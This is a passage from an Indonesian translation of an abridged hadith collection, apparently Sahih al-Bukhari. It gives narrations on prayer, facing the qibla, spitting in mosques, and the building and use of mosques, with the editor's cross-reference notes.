219. Hudzaifah pernah melihat seseorang melakukan shalat tanpa menyempurnakan ruku dan sujudnya. Setelah orang itu selesai shalat, Hudzaifah menegurnya, "Kamu tadi belum dapat dianggap telah melakukan shalat." Perawi hadits ini menambahkan, "Aku kira, Hudzaifah berkata, 'Seandainya kamu meninggal, tentulah kamu meninggal tidak di atas sunnah Muhammad saw.'"




Bab Ke-27: Menampakkan Ketiak dan Memisahkan Lengan dan Tubuh Pada Waktu Sujud


220. Abdullah bin Malik ibnu Buhainah r.a. berkata bahwa apabila Nabi Muhammad saw. shalat, beliau merenggangkan kedua tangan beliau sehingga tampak putihnya kedua ketiak beliau.




Bab Ke-28: Keutamaan Shalat Menghadap Kiblat


Hendaklah seseorang menghadapkan pula jari-jari kakinya ke kiblat. Demikian dikatakan oleh Abu Humaid dari Nabi Muhammad saw.[28]


211. Anas bin Malik r.a. berkata, "Rasulullah saw. bersabda, 'Aku diperintahkan untuk memerangi manusia sehingga mereka menyatakan, 'Tidak ada tuhan kecuali Allah.' Apabila mereka sudah menyatakan demikian dan melakukan shalat seperti shalat kita, menghadap kiblat kita, dan menyembelih sembelihan seperti cara kita menyembelih, diharamkan atas kita darah dan harta mereka, kecuali dengan haknya, dan hisabnya terserah kepada Allah.'" (Dalam satu riwayat: "Maka ia adalah orang muslim yang mempunyai jaminan dari Allah dan Rasul Nya.")


(Dalam suatu riwayat mu'allaq dari Humaid: Maimun bin Siyah bertanya kepada Anas bin Malik, "Wahai ayah Hamzah, apakah yang menjadikan haramnya darah dan harta seseorang (untuk diambil)?" Anas menjawab, "Barangsiapa yang bersaksi bahwa tidak ada tuhan kecuali Allah, menghadap kiblat seperti kiblat kita, mengerjakan shalat seperti shalat kita, dan memakan sembelihan kita, dia adalah muslim, dia mempunyai hak sebagaimana orang muslim, dan mempunyai kewajiban sebagaimana orang muslim.")




Bab Ke-29: Kiblatnya Penduduk Madinah dan Penduduk Syam serta Tidak Ada Kiblat di Sebelah Timur dan Barat, Mengingat Sabda Nabi Muhammad saw., 'Janganlah kamu menghadap kiblat pada waktu buang air besar atau kencing, tetapi menghadaplah ke Timur atau ke Barat.[29]


(Aku katakan, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Abu Ayyub yang telah disebutkan pada nomor 97 di muka.")




Bab Ke-30: Firman Allah Ta'ala, "Dan, jadikanlah sebagian maqam Ibrahim sebagai tempat shalat." (al-Baqarah: 125)


222. Ibnu Abbas r.a. berkata, "Ketika Nabi Muhammad saw masuk di Baitullah, beliau berdoa dalam seluruh arah-arahnya dan beliau tidak shalat sampai beliau keluar darinya. Setelah beliau keluar, beliau melakukan shalat dua rakaat di arah Ka'bah dan bersabda, 'Inilah kiblat itu.'"




Bab Ke-31: Menghadap ke Arah Kiblat (Ka'bah) di Mana Pun Berada


Abu Hurairah r.a. berkata, "Nabi Muhammad saw bersabda, "Menghadaplah ke kiblat dan bertakbirlah (yakni bertakbiratul ihram untuk memulai shalat)."[30]


223. Jabir berkata, "Nabi Muhammad saw. shalat di kendaraan beliau ke mana saja kendaraan itu menghadap. Akan tetapi, apabila beliau akan shalat fardhu, beliau turun dan menghadap kiblat"


224. Abdullah berkata, "Nabi saw. shalat [zhuhur dengan mereka, 7/227] [lima rakaat 2/65]. Setelah beliau salam, dikatakan kepada beliau, 'Wahai Rasulullah, telah terjadi sesuatu dalam shalat?' (Dalam satu riwayat: 'Apakah shalat telah ditambah? Dalam riwayat lain: 'Apakah shalat telah diringkas atau terlupakan?) Beliau bersabda, 'Apakah itu?' Mereka menjawab, 'Engkau melakukan shalat lima rakaat.' Beliau lalu melipatkan kedua kaki dan menghadap kiblat, lalu sujud dua kali [sesudah salam], kemudian beliau salam lagi. Ketika beliau menghadapkan muka kepada kami, beliau bersabda, 'Sesungguhnya, kalau terjadi sesuatu dalam shalat niscaya aku beritahukan kepadamu. Akan tetapi, aku adalah manusia seperti kamu; aku bisa lupa sebagaimana kamu lupa. Apabila aku lupa, ingatkanlah. Apabila salah seorang di antara kamu ragu-ragu dalam shalatnya, condonglah kepada yang benar, lantas hendaklah ia menyempurnakannya, kemudian mengucapkan salam, kemudian sujud dua kali.'"




Bab Ke-32: Tentang (Menghadap) Kiblat dan Orang yang Menganggap Tidak Perlu Mengulang Shalat Apabila Seseorang Lupa dan Shalat dengan Menghadap ke Arah Selain Kiblat


Nabi Muhammad saw pernah mengucapkan salam setelah melakukan dua rakaat shalat zhuhur dan menghadapkan wajahnya ke arah orang banyak, kemudian menyempurnakan rakaat yang masih tertinggal.[31]


225. Anas berkata bahwa Umar berkata, "Aku mendapatkan persetujuan Tuhanku dalam tiga hal. Aku (Umar) berkata, 'Wahai Rasulullah, bagaimana kalau kita jadikan maqam Ibrahim sebagai tempat shalat?' Turunlah ayat, 'Dan, jadikanlah sebagian maqam Ibrahim sebagai tempat shalat.' Dan, ayat hijab (bertirai) di mana aku berkata, 'Wahai Rasulullah, bagaimana kalau engkau perintahkan istri-istrimu berhijab karena mereka diajak bercakap-cakap oleh (dalam satu riwayat: engkau biasa didatangi oleh, 5/ 149) orang yang baik dan orang yang jahat? Turunlah ayat hijab. Dan, istri-istri Nabi Muhammad saw. bersepakat untuk cemburu kepada beliau, lalu aku berkata kepada mereka, 'Jika beliau menceraikan kalian, boleh jadi Tuhannya akan menggantinya dengan istri-istri yang lebih baik daripada kalian.' (Dalam satu riwayat: 'Dan telah sampai berita kepadaku bahwa Nabi Muhammad saw mencela sebagian istrinya. Aku lalu menemui mereka dan berkata, 'Berhentilah kalian dari perbuatan itu atau Allah akan mengganti bagi Rasul-Nya istri-istri yang lebih baik daripada kalian,' hingga aku datang kepada salah seorang dari mereka. Salah satu istri ini berkata, 'Hai Umar, apakah pada Rasulullah itu tidak terdapat sesuatu yang dapat memberi pelajaran atau menyadarkan istri-istrinya sehingga engkau menasihati mereka?'). Maka, turunlah ayat ini."


226. Abdullah bin Umar berkata, "Pada waktu orang-orang sedang melakukan shalat subuh di Quba', tiba-tiba mereka didatangi seseorang (untuk menyampaikan berita). Orang itu berkata, 'Sesungguhnya, malam tadi telah diturunkan kepada Rasulullah saw. Al-Qur'an (yakni wahyu). Beliau diperintahkan shalat menghadap ke Kabah. [Maka ingatlah, menghadaplah kalian ke Kabah! 5/152].' Mereka lalu menghadap ke Ka'bah, padahal waktu itu wajah mereka sedang menghadap ke Syam. Mereka lalu menghadapkan wajahnya ke Ka'bah."




Bab Ke-33: Menggaruk Ludah dari Masjid dengan Tangan


227. Anas r.a. berkata bahwa Nabi Muhammad saw melihat dahak di arah kiblat. Beliau merasa keberatan terhadap hal itu sehingga tampak di wajah beliau (ketidaksenangan itu), lalu beliau berdiri, lantas menggaruknya dengan tangan beliau seraya bersabda, "Sesungguhnya, apabila salah seorang di antaramu berdiri dalam shalat, sesungguhnya ia sedang bermunajat (bercakap-cakap) dengan Tuhannya atau Tuhannya itu di antara dia dan kiblatnya. Karena itu, janganlah salah seorang diantaramu meludah ke arah kiblatnya [dan jangan pula ke arah kanannya, 1/107], tetapi kesebelah kiri atau di bawah telapak kakinya [yang kiri, 1/135]." Beliau lalu mengambil ujung selendang beliau dan meludah di situ. Beliau lalu menggeserkan sebagiannya atas sebagian yang lain, lalu beliau bersabda, 'Atau, berbuat seperti ini.'"


228. Abdullah bin Umar berkata bahwa Rasulullah saw melihat ludah (dalam satu riwayat: dahak, 1/183) di dinding masjid pada arah kiblat [ketika beliau akan mengerjakan shalat di depan orang banyak], lalu beliau menggosoknya [dengan tangannya, 7/98], lalu menghadap kepada orang banyak (dalam satu riwayat: maka beliau marah kepada ahli masjid, 2/62), lalu bersabda [setelah selesai], "Apabila salah seorang di antara kalian sedang shalat, janganlah ia meludah di depannya karena sesungguhnya Allah itu berada di arah mukanya jika ia sedang shalat." [Ibnu Umar radhiyallahu anhuma berkata, "Apabila salah seorang dari kamu meludah, hendaklah ia meludah ke sebelah kirinya."]


229. Aisyah berkata bahwa Rasulullah saw melihat ada ingus, ludah, atau dahak di dinding masjid, lalu beliau menggosoknya.




Bab Ke-34: Menggosok Dahak dari Masjid dengan Batu

Ibnu Abbas berkata, "Apabila kamu menginjak kotoran yang basah, cucilah ia, dan jika kering, tidak perlu kamu cuci."[32]


230. Abu Hurairah dan Abu Said berkata bahwa Rasulullah saw melihat dahak pada dinding (dalam satu riwayat: ke arah kiblat, 1/107) masjid, lalu beliau mengambil sebutir kerikil kemudian menggosok-gosoknya, lalu beliau bersabda, "Apabila seseorang di antara kalian ingin meludah, janganlah ia meludah ke arah depannya dan kanannya, tetapi hendaklah meludah ke sebelah kirinya atau ke bawah kakinya yang kiri."[33]




Bab Ke-35: Jangan Meludah ke Sebelah Kanan Ketika Shalat




Bab Ke-36: Hendaknya Meludah ke Sebelah Kirinya atau di Bawah Kaki Kirinya




Bab Ke-37: Denda Meludah di Masjid




231. Anas bin Malik berkata bahwa Nabi Muhammad saw bersabda, "Meludah di masjid adalah suatu kesalahan dan kaffarahnya (tebusannya) adalah menanamnya (menghilangkannya).'"




Bab Ke-38: Memendam Ludah di Masjid


232. Abu Hurairah berkata bahwa Nabi Muhammad saw. bersabda, "Jika seseorang di antara kalian berdiri mengerjakan shalat, janganlah meludah ke depannya karena sebenarnya ia di saat itu sedang bermunajat kepada Allah selama ia masih di tempat shalatnya dan janganlah ia meludah ke sebelah kanannya karena di sebelah kanannya ada seorang malaikat, tetapi hendaklah dia meludah ke sebelah kirinya atau ke bawah telapak kakinya, lalu memendamnya (menanamnya)."




Bab Ke-39: Apabila Terpaksa untuk Segera Meludah, Baiknya Mengambil Ujung Pakaiannya


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Anas yang tersebut pada nomor 227 di muka.")




Bab Ke-40: Nasihat Imam Kepada Orang Banyak Mengenai Pelaksanaan Shalat yang Sempurna dan Keterangan Tentang Kiblat


233. Abu Hurairah berkata bahwa Rasulullah saw bersabda, "Apakah kamu melihat kiblatku di sini? Demi Allah, tidaklah tersembunyi atasku kekhusyuanmu dan rukumu, [dan, l/181] sesungguhnya aku melihatmu dari belakang punggungku."


234. Anas bin Malik berkata, "Nabi Muhammad saw shalat bersama dengan kami sebagai imam dalam suatu shalat yang dikerjakan. Kemudian, beliau naik mimbar, lalu bersabda mengenai shalat dan ruku, 'Sesungguhnya, aku melihat kalian dari belakangku sebagaimana aku melihat kalian (sewaktu berhadap-hadapan).'"




Bab Ke-41: Bolehkah Dikatakan Masjid Bani Fulan?


235. Abdullah bin Umar r.a. berkata bahwa Rasulullah saw memperlombakan antar kuda yang diberi makan penuh dari Hafya' ke Tsaniyatil Wada' dan memperlombakan antar kuda yang tidak diberi makan penuh dari Tsaniyah ke masjid bani Zuraiq. Abdullah bin Umar termasuk orang yang ikut berlomba itu.




Bab Ke-42: Membagi dan Menggantungkan Tempat Penyimpanan Harta di Dalam Masjid


Anas berkata, "Nabi Muhammad saw diberi harta dari Bahrain. Beliau lalu bersabda, 'Sebarkanlah di masjid!' Itulah sebanyak-banyak harta yang disampaikan kepada Rasulullah saw. Rasulullah saw lalu keluar untuk shalat dan tidak menoleh kepadanya. Ketika beliau telah selesai menunaikan shalat, beliau datang dan duduk di sana. Bila beliau melihat seseorang, orang itu beliau beri harta itu. Tiba-tiba Abbas r.a. datang kepada beliau, lalu ia berkata, 'Wahai Rasulullah, berilah aku karena aku menebus diriku dan aku menebus Aqil.' Rasulullah lalu bersabda kepadanya, 'Ambillah.' Abbas lalu mengambilnya dan memasukkannya di dalam kainnya, dan dia menganggap pemberian itu hanya sedikit, tetapi ia tidak mampu untuk membawanya. Ia berkata, 'Wahai Rasulullah, suruhlah seseorang mengangkatkannya kepadaku.' Beliau bersabda, 'Tidak.' Ia berkata, 'Engkau sajalah yang mengangkatkannya kepadaku.' Beliau menjawab, 'Tidak.' Ia lalu pergi. Rasulullah saw. mengikutinya terus dengan pandangannya hingga Abbas tidak terlihat oleh kami. Rasulullah saw berbuat begitu karena merasa heran terhadap keinginannya. Ketika Rasulullah saw. berdiri, di sana sudah tidak ada satu dirham pun."




Bab Ke-43: Orang yang Mengundang Makan di Masjid dan Orang yang Mengabulkan Undangan Itu


236. Anas berkata, "Aku mendapati Nabi Muhammad saw dalam masjid bersama dengan sejumlah orang. Aku langsung mendekati beliau, lalu beliau bertanya kepadaku, 'Apakah engkau suruhan Abu Thalhah?' Aku menjawab, 'Ya.' Beliau bertanya, 'Untuk makan-makan?' Aku menjawab, 'Ya.' Beliau lalu bersabda kepada orang-orang yang bersama beliau, 'Berdirilah!' Mereka lalu keluar dan aku berangkat di depan mereka."




Bab Ke-44: Memberikan Keputusan dan Saling Mengucapkan Li'an di Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya bagian dari hadits Sahl bin Sa'ad yang tercantum pada Kitab ke-68 'ath-Thalaq', Bab ke-20.")




Bab Ke-45: Apabila Seseorang Memasuki Sebuah Rumah, Haruskah Dia Shalat di Mana Saja yang Dia Kehendaki Ataukah Seperti yang Diperintahkan? Dan tidak Boleh Mengadakan Penyelidikan


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya bagian dari hadits Itban yang panjang yang akan disebutkan di bawah ini [nomor 237].")




Bab Ke-46: Mendirikan Masjid di Rumah-Rumah


Al-Barra' bin Azib shalat di masjidnya yang terletak di rumahnya dengan berjamah.[34]


237. Dari Mahmud bin ar-Rabi' al-Anshari [dan dia mengaku menahan Rasulullah saw dan menahan muntahan yang dimuntahkannya (dalam satu riwayat: dia berkata, "Aku menahan dari Nabi Muhammad saw muntahan yang beliau muntahkan di wajahku dan ketika itu aku berumur lima tahun, 1/27) dari timba yang berharga beberapa dirham, l/204] [Mahmud mengaku, 2/55] bahwasanya [dia mendengar] Itban bin Malik [seorang tunanetra dan, 1/163] termasuk sahabat Rasulullah saw. dari golongan yang menyaksikan (turut serta dalam) Perang Badar dari kalangan Anshar [bersama Rasulullah saw., katanya, "Aku melakukan shalat untuk mengimami kaumku, bani Salim, dan antara aku dan mereka terdapat lembah yang apabila turun hujan aku kesulitan melewatinya menuju ke masjid. Aku datang kepada Rasulullah saw. dan berkata kepada beliau, 'Wahai Rasulullah, pandanganku sudah buruk, padahal aku menjadi imam shalat bagi kaumku. Apabila turun hujan, mengalirlah air di lembah yang ada di antara aku dan mereka sehingga aku tidak mampu mendatangi masjid mereka untuk mengimami mereka. Wahai Rasulullah, aku ingin engkau datang kepada ku, lalu engkau shalat di rumahku [di tempat] yang aku jadikan mushalla.' Rasulullah saw bersabda kepadaku, 'Akan aku lakukan insya Allah.' Keesokan harinya, Rasulullah saw dan Abu Bakar datang kepadaku saat matahari sudah tinggi (dalam satu riwayat: sangat terik). Rasulullah saw minta izin dan aku mengizinkannya, namun beliau tidak duduk ketika (dalam satu riwayat: sehingga, 6/202) masuk rumah. Beliau lalu bertanya, 'Dimanakah kamu inginkan agar aku shalat di rumahmu?' Aku menunjukkan beliau suatu arah dari rumahku, lalu Rasulullah berdiri dan bertakbir. Kami lalu berdiri dan berbaris [di belakang beliau), kemudian beliau shalat dua rakaat dan salam [dan kami mengucapkan salam setelah beliau salam]. Kami menahan beliau (untuk menyantap) bubur gandum yang kami campur dengan daging untuk beliau. [Maka orang-orang sekitar mendengar Rasulullah saw. ada di rumah saya]. Datanglah beberapa orang laki-laki dari desa itu dan mereka berkumpul. Salah seorang dari mereka berkata, 'Dimanakah Malik bin Dukhaisyin atau Ibnu Dukhsyun?' Sebagian mereka menjawab, 'Dia itu orang munafik, tidak mencintai Allah dan Rasul-Nya.' Rasulullah saw lalu bersabda, Janganlah kamu berkata demikian. Bukankah kamu telah melihatnya telah mengucapkan, 'Tiada Tuhan melainkan Allah' yang dengan ucapan itu ia mengharapkan ridha Allah?' Ia berkata, 'Allah dan Rasul-Nya lebih mengetahui.' [Adapun kami], sesungguhnya kami melihat wajah dan nasihatnya kepada orang-orang munafik. Rasulullah saw lalu bersabda, 'Sesungguhnya, Allah mengharamkan neraka terhadap orang yang mengucapkan, 'Tiada tuhan melainkan Allah, karena mengharapkan keridhaan Allah.'"
[Mahmud berkata, "Aku lalu menceritakan hal ini kepada suatu kaum yang di antaranya terdapat Abu Ayyub, yang menemani Rasulullah saw dalam peperangan yang mengantarkannya gugur di sana. Yazid bin Muawiyah sedang berkuasa atas mereka di negeri Rum. Abu Ayyub mengingkari hal itu atas aku. Ia berkata, 'Demi Allah, aku tidak mengira Rasulullah akan bersabda seperti yang engkau ceritakan itu.' Aku merasakan hal itu sebagai sesuatu yang besar. Aku menetapkan diriku karena Allah supaya menerimaku, sehingga aku selesai perang, untuk menanyakan hal itu kepada Itban bin Malik r.a-jika aku dapat menjumpainya ketika masih hidup-di masjid kaumnya. Aku menutup (selesai perang). Aku lalu ber-talbiyah untuk haji atau umrah, kemudian aku pergi hingga sampai di Madinah, kemudian aku datang ke perkampungan bani Salim, ternyata dia adalah seorang tua yang tunanetra, yang sedang shalat mengimami kaumnya. Setelah dia usai salam dari shalatnya, aku mengucapkan salam kepadanya dan aku beritahukan jati diriku, kemudian aku tanyakan kepadanya tentang hadits itu. Dia lalu menceritakannya kepadaku sebagaimana dahulu ia menceritakannya kepadaku kali pertama." 2/56]
Ibnu Syihab berkata, "Aku bertanya kepada al-Hushain bin Muhammad al Anshari-salah seorang dari bani Salim dan termasuk salah seorang anggota pasukan infanteri-tentang hadits Mahmud bin ar-Rabi' (diatas), lalu ia membenarkan hal itu."




Bab Ke-47: Mendahulukan Yang Kanan dalam Memasuki Masjid dan Lain-Lain


Abdullah bin Umar memulai dengan kakinya yang kanan, sedangkan bila keluar, ia memulainya dengan kakinya yang kiri.[35]


238. Aisyah berkata, "Nabi Muhammad saw suka sekali mendahulukan yang kanan sebisa mungkin dalam semua urusannya, seperti dalam bersuci, menyisir rambut, dan memakai terompah."




Bab Ke-48: Apakah Boleh Menggali Kubur Kaum Musyrikin di Zaman Jahiliah dan Mempergunakan Tempat Itu Sebagai Masjid?


Nabi Muhammad saw bersabda, "Allah melaknat orang Yahudi karena mereka membangun tempat-tempat ibadah di kuburan-kuburan para nabi mereka."


Juga dibencinya shalat di kuburan.


Umar melihat Anas bin Malik shalat di sisi kuburan dan berseru, "Kuburan! Kuburan!" Beliau tidak menyuruh mengulangi shalatnya.[36]


239. Anas r.a. berkata, "Nabi Muhammad saw datang ke Madinah. Beliau turun di Madinah kawasan atas, di suatu perkampungan yang disebut bani Amr bin Auf. Nabi Muhammad saw tinggal di tempat mereka selama empat belas malam. Beliau lalu mengirimkan (utusan) kepada orang-orang bani Najjar. Mereka datang dengan menyandang pedang. Seolah-olah aku melihat Nabi Muhammad saw di atas kendaraan beliau, Abu Bakar mengiringi beliau, dan orang-orang bani Najjar di sekeliling beliau, sehingga beliau meletakkan kendaraan beliau di halaman rumah Abu Ayyub. Beliau suka menunaikan shalat di mana saja sewaktu tiba waktu shalat dan beliau shalat di tempat menderumnya kambing. [Kemudian sesudah itu, aku mendengar dia berkata, 'Beliau shalat di tempat menderumnya kambing, sebelum dibangunnya masjid.'] (Dalam satu riwayat: Kemudian) beliau menyuruh membangun masjid dan beliau minta dipanggilkan orang-orang bani Najjar, lalu beliau bersabda, 'Berapakah harga kebunmu ini?' Mereka menjawab, 'Tidak. Demi Allah, kami tidak meminta harganya kecuali kepada Allah ta'ala.' Anas berkata, 'Di kebun itu terdapat apa yang aku katakan kepadamu, yaitu kuburan orang-orang musyrik, juga terdapat reruntuhan dan terdapat pohon kurma. Nabi Muhammad saw. lalu memerintahkan supaya kuburan orang-orang musyrik itu digali, kemudian reruntuhan itu diratakan, dan pohon-pohon kurma ditebang. Mereka menjajarkan batang-batang pohon kurma di arah kiblat masjid. Kedua ambang pintu dibuat dari batu. Mereka memindahkan batu-batu seraya bersyair rajaz dan Nabi bersama mereka sambil berkata (dalam satu riwayat: bersama mereka mengucapkan), ("Ya Allah, tiada kebaikan kecuali kebaikan akhirat, maka ampunilah orang-orang Anshar dan Muhajirin.')"




Bab Ke-49: Shalat di Kandang Kambing


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya sebagian dari hadits Anas di muka.")




Bab Ke-50: Shalat di Tempat Pembaringan (Ladang-Ladang) Unta


240. Nafi' berkata, "Aku melihat Ibnu Umar shalat menghadap untanya dan ia berkata, 'Aku melihat Nabi Muhammad saw melakukannya.'"




Bab Ke-51: Orang yang Shalat di Depan Tungku Pemanasan atau Api atau Hal-Hal Lain Yang Disembah Orang, Tetapi Dia Memaksudkan Shalatnya Semata-mata untuk Allah


Anas berkata bahwa Nabi Muhammad saw bersabda, "Neraka ditampakkan kepadaku ketika aku sedang shalat"[37]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya bagian dari hadits Ibnu Abbas yang akan disebutkan pada Kitab ke-16 'al-Kusuf', Bab ke-9.")




Bab Ke-52: Dibencinya Shalat di Kuburan


241. Ibnu Umar berkata bahwa Nabi Muhammad saw bersabda, "Lakukanlah sebagian shalatmu (selain shalat fardhu, yakni shalat sunnah) di rumahmu dan janganlah kamu jadikan rumahmu itu sebagai kuburan (bukan tempat shalat)."




Bab Ke-53: Shalat di Tempat Tempat Reruntuhan Gempa dan Bekas Azab


Diriwayatkan bahwa Ali tidak menyukai shalat di tempat bekas reruntuhan gempa di Babil.[38]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Umar yang akan disebut kan pada Mtab ke-60 'al-Anbiya', Bab ke17.")




Bab Ke-54: Shalat di Gereja atau Candi (Tempat Ibadah Agama Selain Islam)


Umar berkata, "Kami tidak memasuki gereja-gerejamu karena patung-patung dan gambarnya itu."[39]


Ibnu Abbas shalat di dalam biara (tempat ibadah agama lain) kecuali biara yang ada patung di dalamnya.[40]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnad-nya hadits Aisyah yang akan disebutkan pada Kitab ke-23 'al-Janaiz', Bab ke-62.")




Bab Ke-55:


242. Aisyah dan Abdullah bin Abbas (Ibnu Abbas) berkata, "Ketika Rasulullah saw menghadapi kematian, beliau melemparkan selendang pada muka beliau. Ketika selendang itu menutupi muka beliau, beliau membukanya seraya bersabda dalam keadaan demikian, 'Laknat (kutukan) Allah atas orang-orang Yahudi dan Nasrani karena mereka menjadikan kuburan nabi-nabi mereka sebagai masjid (tempat ibadah).'" Beliau mempertakutkan akan apa yang mereka perbuat.[41]


243. Abu Hurairah r.a. berkata bahwa Rasulullah saw bersabda, "Semoga Allah melaknat orang-orang Yahudi karena mereka membangun tempat-tempat ibadah di atas kuburan nabi-nabi mereka."




Bab Ke-56: Sabda Nabi Muhammad saw., "Bumi Itu Dijadikan untukku Sebagai Tempat Shalat dan Alat Bersuci (Tayamum)."[42]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Jabir yang tersebut pada nomor 186 di muka.")




Bab Ke-57: Tidurnya Seorang Wanita di Masjid


244. Aisyah berkata bahwa seorang budak perempuan hitam milik suatu perkampungan Arab yang sudah mereka merdekakan, tetapi masih suka bersama mereka, berkata, "Seorang anak perempuan kecil yang mengenakan selendang merah dari kulit keluar kepada mereka. Diletakkannya atau jatuh darinya dan lewatlah seekor burung rajawali dan burung itu mengira selendang yang jatuh itu sebagai daging, lantas dipungut nya. Mereka mencari selendang itu, namun tidak ditemukan, lalu mereka menuduhku. Mereka mencarinya sehingga mereka mencari di kemaluanku. (Dalam satu riwayat: Mereka lalu menyiksaku sampai mereka mencari di kemaluanku, 4/235). Demi Allah, sungguh aku berdiri bersama mereka [sedang aku masih dalam kesedihan], tiba-tiba burung rajawali itu lewat [hingga sejajar dengan kepala kami] lantas menjatuhkan selendang itu. Selendang itu jatuh di antara mereka [lalu mereka mengambilnya]. Aku berkata, 'Itulah selendang yang kamu tuduh aku mengambilnya, padahal aku sama sekali tidak mengambilnya. Inilah dia!' Perempuan itu mengatakan bahwa ia datang kepada Rasulullah saw dan masuk Islam. Aisyah berkata, 'Perempuan itu mempunyai kemah atau bilik dari tumbuh-tumbuhan di masjid. Perempuan itu datang dan bercerita kepadaku. Tidaklah dia duduk di tempatku melainkan ia mengatakan, 'Hari selendang adalah sebagian dari keajaiban Tuhan kita. Ketahuilah, bahwasanya Tuhan menyelamatkan aku dari negara kafir.' Aku bertanya kepada perempuan itu, 'Mengapakah ketika kamu duduk bersamaku mesti kamu ucapkan kalimat ini?' Perempuan itu lalu menceritakan cerita-cerita ini.'"




Bab Ke-58: Tidurnya Orang Laki-Laki di Masjid


Anas berkata, "Beberapa orang dari suku Ukal datang kepada Nabi Muhammad saw., kemudian mereka bertempat di teras masjid."[43]


Abdur Rahman bin Abu Bakar berkata, "Orang-orang Ahlush Shuffah (orang-orang yang berdiam di teras masjid) itu adalah orang-orang fakir."[44]


245. Abu Hurairah berkata, "Aku melihat ada tujuh puluh orang dari Ahlush Shuffah, tiada seorang pun di antara mereka itu yang mempunyai selendang. Mereka hanya memiliki izar (kain panjang) atau lembaran-lembaran kain yang diikat seputar leher mereka. Di antara lembaran kain itu ada yang hanya sampai pada separo betis dan ada yang sampai pada kedua mata kaki, dan mereka menyatukannya dengan tangan mereka, karena khawatir aurat mereka terlihat"




Bab Ke-59: Shalat Ketika Datang dari Bepergian


Ka'ab bin Malik berkata, "Apabila Nabi Muhammad saw. pulang dari bepergian, beliau terlebih masuk ke masjid, lalu shalat di sana.'"[45]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya potongan dari hadits Jabir yang akan disebutkan pada Kitab ke-34 'al-Buyu", Bab ke-34.")




Bab Ke-60: Apabila Masuk Masjid Hendaklah Shalat Dua Rakaat


246. Abu Qatadah as-Salami berkata bahwa Rasulullah saw bersabda, "Apabila salah seorang di antaramu masuk masjid, hendaklah ia shalat dua rakaat sebelum duduk." (Dalam satu riwayat: "Janganlah ia duduk sehingga shalat dua rakaat." 2/51)




Bab Ke-61: Hadats di Dalam Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya bagian dari hadits Abu Hurairah yang tersebut pada Kitab ke-10 'al-Adzan', Bab ke-30.")



Bab Ke-62: Membangun Masjid



Abu Said berkata, "Atap masjid terbuat dari pelepah-pelepah pohon kurma."[46]


Umar menyuruh membangun masjid dan berkata, "Lindungilah manusia (yang berjamaah di dalamnya) dari hujan. Jangan sekali-kali diwarnai merah atau kuning karena hal itu dapat menyebabkan orang-orang tergoda (tidak khusuk)."[47]


Anas mengatakan, "Banyak orang yang akan bermegah-megahan dalam mendirikan masjid, tetapi mereka tidak memakmurkannya (meramaikannya) melainkan sedikit"[48]


Ibnu Abbas berkata, "Sesungguhnya, kalian akan bersungguh-sungguh menghiasi masjid-masjid kalian seperti orang-orang Yahudi dan Kristen menghiasi (gereja dan rumah ibadah mereka)."[49]


247. Abdullah (bin Umar) berkata bahwa masjid pada zaman Rasulullah saw dibangun dengan batu bata, atapnya dengan pelepah korma, dan tiangnya dengan batang pohon korma. Abu Bakar r.a. tidak menambahnya sedikit pun. Umar r.a. menambahnya dan membangun masjid seperti bangunan di masa Rasulullah saw dengan batu bata dan pelepah korma, dan mengganti tiangnya dengan kayu. Selanjutnya, Utsman r.a. mengubahnya dan melakukan penambahan yang banyak. Ia membangun dindingnya dengan batu yang diukir dan dibuat pola tertentu. Ia menjadikan tiang nya dari batu yang diukir dan atapnya dari kayu jati.




Bab Ke-63: Tolong-menolong dalam Membangun (Memakmurkan) Masjid. Firman Allah, "Tidaklah pantas orang-orang musyrik itu memakmurkan masjid-masjid Allah, sedang mereka mengakui bahwa mereka sendiri kafir. Itulah orang-orang yang sia-sia pekerjaannya, dan mereka kekal di dalam neraka. Hanyalah yang memakmurkan masjid-masjid Allah ialah orang-orang yang beriman kepada Allah dan hari kemudian, serta tetap mendirikan shalat, menunaikan zakat dan tidak takut kepada (siapapun) selain kepada Allah, maka merekalah orang-orang yang diharapkan termasuk golongan orang-orang yang mendapat petunjuk." (at-Taubah: 17-18)


248. Ikrimah berkata, "Ibnu Abbas berkata kepadaku dan kepada anakku, yaitu Ali, 'Berangkatlah kamu berdua ke rumah Abu Sa'id, lalu dengarlah apa yang diceritakannya.' Kami berdua pergi kepadanya dan kami dapati dia [dan saudaranya, 3/207] sedang dalam kebun membersihkan kebun itu. [Setelah melihat kami, dia datang] lalu diambilnya selendangnya dan ia duduk dengan berpegang lutut. Dia mulai bercerita kepada kami hingga sampai menyebutkan pembangunan masjid. Ia berkata, 'Kami dahulu membawa [batu bata masjid] satu demi satu dan Ammar membawa dua-dua batu bata, lalu Nabi Muhammad saw melihatnya dan beliau menghilangkan debu darinya (dalam satu riwayat: beliau mengusap debu dari kepalanya) seraya bersabda, 'Kasihan Ammar, ia akan dibunuh oleh golongan yang zalim, padahal ia mengajak mereka ke surga, sedangkan mereka mengajaknya ke neraka.' Ammar menjawab, 'Aku berlindung kepada Allah dari fitnah-fitnah itu.'"




Bab Ke-64: Meminta Pertolongan Kepada Tukang Kayu dan Ahli Bangunan untuk Mendirikan Tiang-Tiang Mimbar dan Masjid


249. Jabir berkata bahwa seorang wanita berkata, "Wahai Rasulullah, dapatkah aku membuatkan sesuatu untukmu yang dapat engkau duduk di atasnya karena aku mempunyai seorang budak yang merupakan seorang tukang kayu?" Beliau bersabda, "Jika kamu mau, bolehlah." Perempuan itu lalu membuatkan tempat duduk yang berupa mimbar.




Bab Ke-65: Orang yang Mendirikan Masjid


